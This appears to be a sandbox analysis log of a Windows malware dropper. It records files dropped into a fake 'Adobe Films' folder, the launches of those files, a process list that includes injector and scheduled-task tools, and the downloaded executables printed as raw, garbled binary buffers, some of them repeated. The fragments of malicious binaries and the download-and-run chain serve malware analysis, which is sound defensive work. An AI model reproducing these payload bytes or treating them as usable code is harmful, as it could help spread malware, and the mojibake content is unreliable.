file C:\Users\test22\Documents\Zz_8WJnWJcYwE8DTXxWfai7o.exe
file C:\Users\test22\Pictures\Adobe Films\xMRgMWwvt1Js2S4aChs4n12H.exe
file C:\Users\test22\Pictures\Adobe Films\4dB197_1l7OerQHV9HHywWV_.exe
file C:\Users\test22\Pictures\Adobe Films\xETOXMkcQToHPFfFUFdC0rZ7.exe
file C:\Users\test22\Pictures\Adobe Films\d78LyqpVrYNmErU4VFpgMs_C.exe
file C:\Users\test22\Pictures\Adobe Films\82YG_xkSvDww7zcrD21MLhC8.exe
file C:\Users\test22\AppData\Local\Temp\is-TS3P8.tmp\82YG_xkSvDww7zcrD21MLhC8.tmp
file C:\Users\test22\AppData\Local\Temp\is-OTC82.tmp\_isetup\_shfoldr.dll
file C:\Users\test22\AppData\Local\Temp\is-OTC82.tmp\idp.dll
file C:\Users\test22\AppData\Local\Temp\is-OTC82.tmp\DYbALA.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\egqRAdMP6vVHIbhfUato690f.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\egqRAdMP6vVHIbhfUato690f.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\Ehb3TX09sP7PC0g9ewmGExxA.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\Ehb3TX09sP7PC0g9ewmGExxA.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\01NWJ3EqrrXXQcofclOmpgme.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\01NWJ3EqrrXXQcofclOmpgme.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\301tY1t7qg8_zDCV75DGJBHH.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\301tY1t7qg8_zDCV75DGJBHH.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\xMRgMWwvt1Js2S4aChs4n12H.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\xMRgMWwvt1Js2S4aChs4n12H.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\4dB197_1l7OerQHV9HHywWV_.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\4dB197_1l7OerQHV9HHywWV_.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\xETOXMkcQToHPFfFUFdC0rZ7.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\xETOXMkcQToHPFfFUFdC0rZ7.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\d78LyqpVrYNmErU4VFpgMs_C.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\d78LyqpVrYNmErU4VFpgMs_C.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\Pictures//Adobe Films\82YG_xkSvDww7zcrD21MLhC8.exe
parameters:
filepath: C:\Users\test22\Pictures\Adobe Films\82YG_xkSvDww7zcrD21MLhC8.exe
1 1 0
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x0000051c
process_name: mobsync.exe
process_identifier: 1172
1 1 0

Process32NextW

 snapshot_handle: 0x0000051c
process_name: pw.exe
process_identifier: 2080
1 1 0

Process32NextW

 snapshot_handle: 0x0000051c
process_name: taskhost.exe
process_identifier: 2108
1 1 0

Process32NextW

 snapshot_handle: 0x0000051c
process_name: cmd.exe
process_identifier: 2240
1 1 0

Process32NextW

 snapshot_handle: 0x0000051c
process_name: conhost.exe
process_identifier: 2248
1 1 0

Process32NextW

 snapshot_handle: 0x0000051c
process_name: ww_testLL_0211_single.exe
process_identifier: 2316
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: egqRAdMP6vVHIbhfUato690f.exe
process_identifier: 2488
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: 01NWJ3EqrrXXQcofclOmpgme.exe
process_identifier: 2592
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2652
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2660
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2684
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2716
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2748
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: schtasks.exe
process_identifier: 2836
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: inject-x86.exe
process_identifier: 2860
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: schtasks.exe
process_identifier: 2872
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2896
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: 301tY1t7qg8_zDCV75DGJBHH.exe
process_identifier: 3044
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2116
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2220
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: 4dB197_1l7OerQHV9HHywWV_.exe
process_identifier: 2432
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: is32bit.exe
process_identifier: 2412
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: xETOXMkcQToHPFfFUFdC0rZ7.exe
process_identifier: 2384
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2604
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2392
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2588
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2968
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2904
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 3060
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 500
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 1036
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 268
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 1652
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: mscorsvw.exe
process_identifier: 2576
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: mscorsvw.exe
process_identifier: 2612
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: sppsvc.exe
process_identifier: 2164
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 2644
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2704
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 1084
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 492
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: 82YG_xkSvDww7zcrD21MLhC8.exe
process_identifier: 2840
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: 82YG_xkSvDww7zcrD21MLhC8.tmp
process_identifier: 536
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: inject-x64.exe
process_identifier: 1696
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $I4€! Uîr Uîr Uîr>êsUîr>ísUîr>ësŸUîr:êsUîr:ísUîr:ës$Uîr>ïsUîr UïroUîrË:çs UîrË:r UîrË:ìs UîrRich UîrPEd†\Ì<að" zŽ|7@P`TÔ(0è´@œе8¶0¨.text¥yz `.rdataTMN~@@.dataŒà Ì@À.pdata´Ø@@_RDATA” î@@.rsrcè0ð@@.relocœ@ò@BH 9yéÌ$ÌÌÌÌHAíÃÌÌÌÌÌÌÌÌH‰T$L‰D$L‰L$ SVWHƒì0H‹úHt$`H‹ÙèÊÿÿÿE3ÉH‰t$ L‹ÇH‹ÓH‹è<‚HƒÄ0_^[ÃÌÌÌÌÌÌÌÌÌÌÌÌ@SHƒì H‹ÙH‹ÂH õ‚WÀHSH‰ HHèc1H‹ÃHƒÄ [ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌH‹QH%H…ÒHEÂÃÌÌÌÌÌÌÌÌÌÌÌÌÌH‰\$WHƒì H—‚H‹ùH‰‹ÚHƒÁèš1öÃt ºH‹Ïèì#H‹\$0H‹ÇHƒÄ _ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌHQ‚H‰HƒÁéY1ÌÌÌÌÌÌÌÌÌÌÌÌÌH±HÇAH‰AH¾‚H‰H‹ÁÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHƒìHHL$ èÂÿÿÿH³ÂHL$ è!3Ì@SHƒì H‹ÙH‹ÂH ՁWÀHSH‰ HHèC0HX‚H‰H‹ÃHƒÄ [ÃÌÌÌÌ@SHƒì H‹ÙH‹ÂH •WÀHSH‰ HHè0HH‰H‹ÃHƒÄ [ÃÌÌÌÌH‰\$H‰t$WHìpH‹çÍH3ÄH‰„$`3öÿ<~‹ø3ҍNÿï}H‹ØH‰D$ HƒøÿtF3ÒA¸0HL$0è·4ÇD$00HT$0H‹Ëÿ}…Àt9|$8tHT$0H‹ËÿÁ}ëæ‹t$PHƒûÿt H‹Ëÿ´}‹ÆH‹Œ$`H3Ìè‚Lœ$pI‹[I‹sI‹ã_ÃÌÌÌÌÌÌÌÌÌÌÌÌÌH‰\$WHìH‹ÍH3ÄH‰„$€H‹Ù3ÀH‰H‰AH‰A3ҍHÿ}H‹øH‰D$ Hƒøÿ„‹3ÒA¸0HL$Pèâ3ÇD$P0HT$PH‹Ïÿ¬|…Àt_„LD$XHT$|HL$(èÜH‹ÐH‹KH;Kt è*HƒC(ëL‹ÂH‹ÑH‹Ëè¥HL$(èKHT$PH‹Ïÿ¥|…Àu©Hƒÿÿt H‹Ïÿš|H‹ÃH‹Œ$€H3ÌègH‹œ$¨HÄ_ÃÌÌÌÌÌÌ@SHƒì H‹QH‹ÙHƒú
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: rSÑ<¡ö?ÀЈ:G‘ö?hhö?g6Ÿqö?ù"Qjìaö?£J;…ORö?d! YÈBö?ÞÀŠ¸V3ö?@bwú#ö?”®1h³ö?X`ö?ü-)4döõ?çи[çõ?¥âìÃgØõ?W“+ˆÉõ?‘úGƼºõ?ÀZk¬õ?ªÌ#ñaõ?íX0Ҏõ?`XV€õ?:kP<íqõ?âR|º—cõ?UUUUUUõ?þ‚»æ%Gõ?ëôH 9õ?K¨Vÿ*õ?øâêõ?ÅÄá"õ?PPõ?›LÝbóô?9/§àåô?L,ܾCØô?n¯%‡¸Êô?ᏦÝ>½ô?[¿R Ö¯ô?Jv­¢ô?gвã9•ô?€H"ˆô?{®Gázô?f`Y4Îmô?šÏõÇË`ô?ÊvÇâÙSô?ûÙbeøFô?Mî«0':ô?‡Õ%f-ô?QY^&µ ô?ô?feтô?û°?ûó?¯¥Bîó?©ä¼,âó?Æuª‘ÙÕó?ç«{¤•Éó?U)#Ù`½ó?;±;±ó?"Èz8$¥ó?c,™ó?ŽfÓ"ó?88ó?îEÉÑ[uó?HÞóió?ø*Ÿ_Î]ó?Áx+ûRó?Fà¬yFó?²¼W[ä:ó?újí\/ó?¿+Jã#ó?¶ëéXwó?Ñ0 ó?`Ä*Èó?h/¡½„öò?KÑþ¡Nëò?—€KÀ%àò? P- Õò? ,MûÉò?7ZŽù¾ò?@+­´ò?Áó’©ò?žä)Ažò?¥¸[r“ò?°ˆ°ˆò?MΡ8ú}ò?5'¸Psò?'Ö|³hò?ñ’€p"^ò?²w‘~Sò?’$I’$Iò?[`—·>ò?ß¼šxV4ò?* "*ò?xû!·ò?æUH€yò?ÙÀg G ò?  ò?pÁ}÷ñ?L¸<ôìñ?t¸?;ïâñ?½J.gõØñ?¢­Ïñ?Yàü"Åñ?)íF@J»ñ?ãºòg|±ñ?–{a¹§ñ?žàžñ?œ¢Œ€S”ñ?Û+ƒ°Šñ?ñ?„ÖŠwñ?ysB‰nñ?2üPdñ? 'u_[ñ?ÉÕý£¹Qñ?;Í _Hñ?$G4?ñ?È5È5ñ?¬À퉋,ñ?30]çX#ñ?&H§0ñ?ñ?€¾ûñ?ðþðþð?¢%³úíõð?œækõìð?`‚Uäð?–F¨ Ûð?:ž5VDÒð?;Ú¼OqÉð?qA‹†§Àð?ȝ%ìæ·ð?µì.r/¯ð?§h ¦ð?`ƒ¯¦Ûð?T 9?•ð?âeu³«Œð?„B!„ð?âê¸)Ÿ{ð?Æ÷G &sð?ûyœµjð?ü©ñÒMbð?†ur îYð?4×÷—Qð?ÅdÌIIð?AAð?üG‚·Æ8ð?^µ‘0ð?é)wüd(ð?@ ð?7zQ6$ð?ð?€ð?ð?log10ÿÿÿÿÿÿ?Cÿÿÿÿÿÿ?ÃUnknown exceptionbad array new lengthabcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZpidhtmpfile.tmp.dllpidHTSIGwbTaskmgr.exekernel32.dll%uLoadLibraryAvector too longstring too longMZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $šˆÞévMÞévMÞévMʂrLÕévMʂuLØévMʂsLGévMՆrLÐévMՆuL×évMՆsLýévMʂwLÝévMÞéwM¼évM†LßévM†‰MßévM†tLßévMRichÞévMPEd† Ì<að" ¶øTZ€`¬z(àà°Üð„X8ÐX0А.textŵ¶ `
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $¿´ºûiÚéûiÚéûiÚéïÙèñiÚéïßèaiÚéðÞèêiÚéðÙèìiÚéðßèÑiÚéïÞèîiÚéïÛèòiÚéûiÛé†iÚé=ÓèþiÚé=%éúiÚé=ØèúiÚéRichûiÚéPELړeaà ,ðe¤@@P@°ãdè ¸%ˆ¶8À¶@@È.textß+, `.rdata ®@°0@@.dataìð à@À.rsrcèì@@.reloc¸% &î@BU‹ìh؝E¹àFèþhÀ;E贑ƒÄ]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌS‹ÜƒìƒäðƒÄU‹k‰l$‹ìì¡ðE3ʼnEü3ÀˆEß3ɈMÞ3҈U݊E߈E؊MވMԊU݈UÐÇE¸EšœÇE¼ äÀñ‹E¸‰E ‹M¼‰M¤ÇE°xŸ>XÇE´ÑH­‹U°‰U¨‹E´‰E¬M ‰MÈÇEà7k®œÇEä äÀñÇEèxŸ>XÇEìÑH­3҈U܊E܈EÌ(Eà)E€‹MÈ)E(EfïE€)…pÿÿÿ(…pÿÿÿ‹UÈ‹EȉEċMÄQ¹øFèõhÐ;E諐ƒÄ‹Mü3Íè&Œ‹å]‹ã[ÃÌÌÌÌÌÌÌU‹ìQ‰Mü‹EüÇ4BE3ɋUüƒÂ‰ ‰J‹EüƒÀP‹MƒÁQ艜ƒÄ‹Eü‹å]ÂÌÌÌÌU‹ìQ‰Mü‹EüÇ4BE‹MüƒÁQèÀœƒÄ‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‰Mü‹Eüƒxt ‹Mü‹Q‰UøëÇEø¬E‹Eø‹å]ÃÌÌÌÌÌU‹ìQ‰Mü‹EüÇ4BE‹MüƒÁQè`œƒÄ‹Uƒâtj ‹EüPèӏƒÄ‹Eü‹å]ÂÌÌU‹ìQ‰Mü‹EüÇ4BE3ɋUüƒÂ‰ ‰J‹EüÇ@ÀE‹MüÇ@BE‹UüǼBE‹Eü‹å]ÃU‹ìƒì Môè²ÿÿÿh<âEEôPè_¡‹å]ÃU‹ìQ‰Mü‹EüÇ4BE3ɋUüƒÂ‰ ‰J‹EüƒÀP‹MƒÁQèI›ƒÄ‹UüÇ@BE‹EüǼBE‹Eü‹å]ÂÌÌU‹ìQ‰Mü‹EüÇ4BE3ɋUüƒÂ‰ ‰J‹EüƒÀP‹MƒÁQèùšƒÄ‹UüÇ@BE‹Eü‹å]ÂÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‹E ‹ƒÁ#‹U ‰ ‹E‹‰MôºkÂÿ‹Mô‹‰UøÇEð‹E‹+Mø‰Müƒ}ürƒ}ü#wë è‘Å3Òu÷3Àuå‹M‹Uø‰‹å]ÃÌÌÌÌÌÌÌÌÌÌÌU‹ìjÿhxEd¡Pƒìx¡ðE3ʼnEðPEôd£ÇEœMØè)ÇEüÇEÐÇE̋E‰E˜‹Mƒé‰Mƒ}˜„`‹U ŠˆENjM
request_handle: 0x00cc0010
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $bT…¨&5ëû&5ëû&5ëû2^èú,5ëû2^îú´5ëû2^ïú45ëû-Zïú75ëû-Zèú05ëû-Zîú 5ëû2^êú%5ëû&5êû{5ëûàZâú%5ëûàZû'5ëû&5|û'5ëûàZéú'5ëûRich&5ëûPELe>maà ^ú0šp@€@ÁØÓ(¸]`0Ã°Ã@p,.textò\^ `.rdatarjplb@@.dataTà Î@À.rsrc¸]^Ø@@.reloc0`6@Bh¨ÁA¹ èAèa=h lAè_‡YÃÌÌÌÌÌU‹ìƒäðƒì Ç$Tµ=; $ÇD$YA¡ŠQÇD$†a[ÖÇD$ j8à( $ÇD$e†=;ÇD$YA¡ŠÇD$†a[ÖÇD$j8àfïL$) $Ç õAÇõAÆüôAŠA„Àuù+ʍ$QP¹üôAèÑ=hplA迆ƒÄ‹å]Ãh¨ÁA¹¸èAè¡<h°lA蟆YÃÌÌÌÌ̸õAÃÌÌÌÌÌÌÌÌÌÌU‹ìV‹ñWÀFPÇôrAf֋EƒÀPèP“ƒÄ‹Æ^]ÂÌÌ̋I¸<ÁA…ÉEÁÃÌÌU‹ìV‹ñFÇôrAP聓ƒÄöEt j Vè7†ƒÄ‹Æ^]AÇôrAPèW“YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀ‹ÁfÖAÇAPÁAÇìvAÃÌÌÌÌÌÌÌÌU‹ìƒì MôèÒÿÿÿh¬ÓAEôPèg—ÌÌÌÌU‹ìV‹ñWÀFPÇôrAf֋EƒÀP耒ƒÄÇìvA‹Æ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìV‹ñWÀFPÇôrAf֋EƒÀPè@’ƒÄÇsA‹Æ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì‹E‰Eð‹E S‰Eô‹Mð‹Eô ÈVWu)‹Eð‹MôƒÀ‰EðƒÑ‰Mô‹E‰Eð‹E ‰Eô‹Mð‹Eô Èt؋Eðº­F‡‹MôѤÿÿ‰Eð¿NÚɃÑÿ‰Mô‹Eð‹Môlÿÿÿ‰EðƒÑÿ‰Mô‹Mð‹Á‹]ô÷â‰]ü‰Eð‹ò‹Á¹­F‡÷ç‹ø‰Uô‹Ã÷á‹È‹Ú‹EüºNÚÉ÷âΉEüƒÓù‹MôƒÑ‰}è3ÀًMüÀË_Ð¬Ñ ^‰MðÁê ‰Uô‹Eð‹Mô„'¶Ý‰EðƒÑÿ‰Mô‹Eð‹Uô[‹å]ÂÌÌÌÌU‹ìƒì ‹E‹M ƒð‰Eàƒñ‰MäÇEðÇEôÇEø³P ÇEüÇEèä£ÇEì‹UøV‹uü‹EðЋMôñƒÂ‰UðƒÖ‰uô‹Eè‹Mì‹Uà‹uä+ЉUàñ‰uä‹uà‹Uä‹Mð‹EôPQRVèVR‰Eà‰Uä‹Eà‹Uä^‹å]ÂÌÌÌS‹ÜƒìƒäðƒÄU‹k‰l$‹ììÈ¡àA
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: [£3­ª£Q 'š£HwK££®££4†££ £££££ ¨£R¬……Ç•£RROš£RRO™£Rž™°£££££Á¡€€¿¿1¿ñ¿ð¿ô¿ö¿÷¿÷¾¾¾G¾¾€? q€€ (@@ (B00 ¨%  ¨ hMZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELEçºYà" 0¶vÕ à  `…$ÕOàð ìÓ  H.text¤µ ¶ `.rsrcðà¸@@.reloc ¾@BXÕHÉ<<а2~ (7 *6~ (8 *F~ (7 t"*6~ (8 *F~(7 t"*6~(8 *F~(7 ¥*J~Œ(8 *6~(9 *6~(: *F~(7 ¥­*J~Œ­(; *0ft%(< u®(= , (< ,(< u®þþ++o (> (< s? %~o@ oA *v(B rp(C u} *0(D { -*{ oE 
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $I4€! Uîr Uîr Uîr>êsUîr>ísUîr>ësŸUîr:êsUîr:ísUîr:ës$Uîr>ïsUîr UïroUîrË:çs UîrË:r UîrË:ìs UîrRich UîrPEd†\Ì<að" zŽ|7@P`TÔ(0è´@œе8¶0¨.text¥yz `.rdataTMN~@@.dataŒà Ì@À.pdata´Ø@@_RDATA” î@@.rsrcè0ð@@.relocœ@ò@BH 9yéÌ$ÌÌÌÌHAíÃÌÌÌÌÌÌÌÌH‰T$L‰D$L‰L$ SVWHƒì0H‹úHt$`H‹ÙèÊÿÿÿE3ÉH‰t$ L‹ÇH‹ÓH‹è<‚HƒÄ0_^[ÃÌÌÌÌÌÌÌÌÌÌÌÌ@SHƒì H‹ÙH‹ÂH õ‚WÀHSH‰ HHèc1H‹ÃHƒÄ [ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌH‹QH%H…ÒHEÂÃÌÌÌÌÌÌÌÌÌÌÌÌÌH‰\$WHƒì H—‚H‹ùH‰‹ÚHƒÁèš1öÃt ºH‹Ïèì#H‹\$0H‹ÇHƒÄ _ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌHQ‚H‰HƒÁéY1ÌÌÌÌÌÌÌÌÌÌÌÌÌH±HÇAH‰AH¾‚H‰H‹ÁÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHƒìHHL$ èÂÿÿÿH³ÂHL$ è!3Ì@SHƒì H‹ÙH‹ÂH ՁWÀHSH‰ HHèC0HX‚H‰H‹ÃHƒÄ [ÃÌÌÌÌ@SHƒì H‹ÙH‹ÂH •WÀHSH‰ HHè0HH‰H‹ÃHƒÄ [ÃÌÌÌÌH‰\$H‰t$WHìpH‹çÍH3ÄH‰„$`3öÿ<~‹ø3ҍNÿï}H‹ØH‰D$ HƒøÿtF3ÒA¸0HL$0è·4ÇD$00HT$0H‹Ëÿ}…Àt9|$8tHT$0H‹ËÿÁ}ëæ‹t$PHƒûÿt H‹Ëÿ´}‹ÆH‹Œ$`H3Ìè‚Lœ$pI‹[I‹sI‹ã_ÃÌÌÌÌÌÌÌÌÌÌÌÌÌH‰\$WHìH‹ÍH3ÄH‰„$€H‹Ù3ÀH‰H‰AH‰A3ҍHÿ}H‹øH‰D$ Hƒøÿ„‹3ÒA¸0HL$Pèâ3ÇD$P0HT$PH‹Ïÿ¬|…Àt_„LD$XHT$|HL$(èÜH‹ÐH‹KH;Kt è*HƒC(ëL‹ÂH‹ÑH‹Ëè¥HL$(èKHT$PH‹Ïÿ¥|…Àu©Hƒÿÿt H‹Ïÿš|H‹ÃH‹Œ$€H3ÌègH‹œ$¨HÄ_ÃÌÌÌÌÌÌ@SHƒì H‹QH‹ÙHƒú
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: rSÑ<¡ö?ÀЈ:G‘ö?hhö?g6Ÿqö?ù"Qjìaö?£J;…ORö?d! YÈBö?ÞÀŠ¸V3ö?@bwú#ö?”®1h³ö?X`ö?ü-)4döõ?çи[çõ?¥âìÃgØõ?W“+ˆÉõ?‘úGƼºõ?ÀZk¬õ?ªÌ#ñaõ?íX0Ҏõ?`XV€õ?:kP<íqõ?âR|º—cõ?UUUUUUõ?þ‚»æ%Gõ?ëôH 9õ?K¨Vÿ*õ?øâêõ?ÅÄá"õ?PPõ?›LÝbóô?9/§àåô?L,ܾCØô?n¯%‡¸Êô?ᏦÝ>½ô?[¿R Ö¯ô?Jv­¢ô?gвã9•ô?€H"ˆô?{®Gázô?f`Y4Îmô?šÏõÇË`ô?ÊvÇâÙSô?ûÙbeøFô?Mî«0':ô?‡Õ%f-ô?QY^&µ ô?ô?feтô?û°?ûó?¯¥Bîó?©ä¼,âó?Æuª‘ÙÕó?ç«{¤•Éó?U)#Ù`½ó?;±;±ó?"Èz8$¥ó?c,™ó?ŽfÓ"ó?88ó?îEÉÑ[uó?HÞóió?ø*Ÿ_Î]ó?Áx+ûRó?Fà¬yFó?²¼W[ä:ó?újí\/ó?¿+Jã#ó?¶ëéXwó?Ñ0 ó?`Ä*Èó?h/¡½„öò?KÑþ¡Nëò?—€KÀ%àò? P- Õò? ,MûÉò?7ZŽù¾ò?@+­´ò?Áó’©ò?žä)Ažò?¥¸[r“ò?°ˆ°ˆò?MΡ8ú}ò?5'¸Psò?'Ö|³hò?ñ’€p"^ò?²w‘~Sò?’$I’$Iò?[`—·>ò?ß¼šxV4ò?* "*ò?xû!·ò?æUH€yò?ÙÀg G ò?  ò?pÁ}÷ñ?L¸<ôìñ?t¸?;ïâñ?½J.gõØñ?¢­Ïñ?Yàü"Åñ?)íF@J»ñ?ãºòg|±ñ?–{a¹§ñ?žàžñ?œ¢Œ€S”ñ?Û+ƒ°Šñ?ñ?„ÖŠwñ?ysB‰nñ?2üPdñ? 'u_[ñ?ÉÕý£¹Qñ?;Í _Hñ?$G4?ñ?È5È5ñ?¬À퉋,ñ?30]çX#ñ?&H§0ñ?ñ?€¾ûñ?ðþðþð?¢%³úíõð?œækõìð?`‚Uäð?–F¨ Ûð?:ž5VDÒð?;Ú¼OqÉð?qA‹†§Àð?ȝ%ìæ·ð?µì.r/¯ð?§h ¦ð?`ƒ¯¦Ûð?T 9?•ð?âeu³«Œð?„B!„ð?âê¸)Ÿ{ð?Æ÷G &sð?ûyœµjð?ü©ñÒMbð?†ur îYð?4×÷—Qð?ÅdÌIIð?AAð?üG‚·Æ8ð?^µ‘0ð?é)wüd(ð?@ ð?7zQ6$ð?ð?€ð?ð?log10ÿÿÿÿÿÿ?Cÿÿÿÿÿÿ?ÃUnknown exceptionbad array new lengthabcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZpidhtmpfile.tmp.dllpidHTSIGwbTaskmgr.exekernel32.dll%uLoadLibraryAvector too longstring too longMZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $šˆÞévMÞévMÞévMʂrLÕévMʂuLØévMʂsLGévMՆrLÐévMՆuL×évMՆsLýévMʂwLÝévMÞéwM¼évM†LßévM†‰MßévM†tLßévMRichÞévMPEd† Ì<að" ¶øTZ€`¬z(àà°Üð„X8ÐX0А.textŵ¶ `
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $AÍå¬h¶¬h¶¬h¶Çl·¬h¶Çk· ¬h¶Çm·½¬h¶½Ým·"¬h¶½Ýk·¬h¶WÙl·¬h¶WÙk·¬h¶WÙm·_¬h¶Çi·¬h¶¬i¶×¬h¶°Ùa· ¬h¶°Ù—¶¬h¶°Ùj·¬h¶Rich¬h¶PEd†Unoað" P>t. @`€LëxÀ8ð¼Ðì @_pa(°_8`0.text@NP `.rdata`žT@@.dataDîºò@À.pdata¼ð¾¬@@_RDATAô°j@@.rsrc8Àl@@.relocì Ð"p@BHƒì(è—b H àGHƒÄ(é ÌÌÌHƒì(H ™¨è0ï H mIHƒÄ(éì H ÅIéà H ]IéÔ H &ªéÄ÷ Hƒì(H ªèìî H ÑIHƒÄ(é¨ Hƒì(A¹HoªE3ÀH õ©è÷ H ­IHƒÄ(éx Hƒì(¹èöfH‹ÐH 8ªèCö H ÔIHƒÄ(éK ÌÌÌHƒì(H •«èlî H ýIHƒÄ(é( H ­Ié ÌÌÌÌ·qH âIf‰£ï¶nqˆ˜ïéñ ÌÌÌÌÌÌÌÌÌH )JéÜ ÌÌÌÌH ™JéÌ ÌÌÌÌHƒì(€=ÆÄu èΫ Æ¸ÄfooŸHðžE3ÀH‰æÄH çÄóçÄAPèf­ 3ÉH‰åĉ çÄHÇH‹ÑÄH‰HH .JHƒÄ(éM ÌÌÌÌÌHƒì(€=FÄu èN« Æ8ÄfoïžHpžE3ÀH‰–ÄH —Äó—ÄAPèæ¬ 3ÉH‰•Ä‰ —ÄHÇH‹ÄH‰HH îIHƒÄ(éÍ ÌÌÌÌÌHƒì(€=ÆÃu èΪ Æ¸ÃfoožHðE3ÀH‰¶ÃH ·Ãó·ÃAPèf¬ 3ÉH‰µÃ‰ ·ÃH‰H‹¥ÃH‰HH ²IHƒÄ(éQ 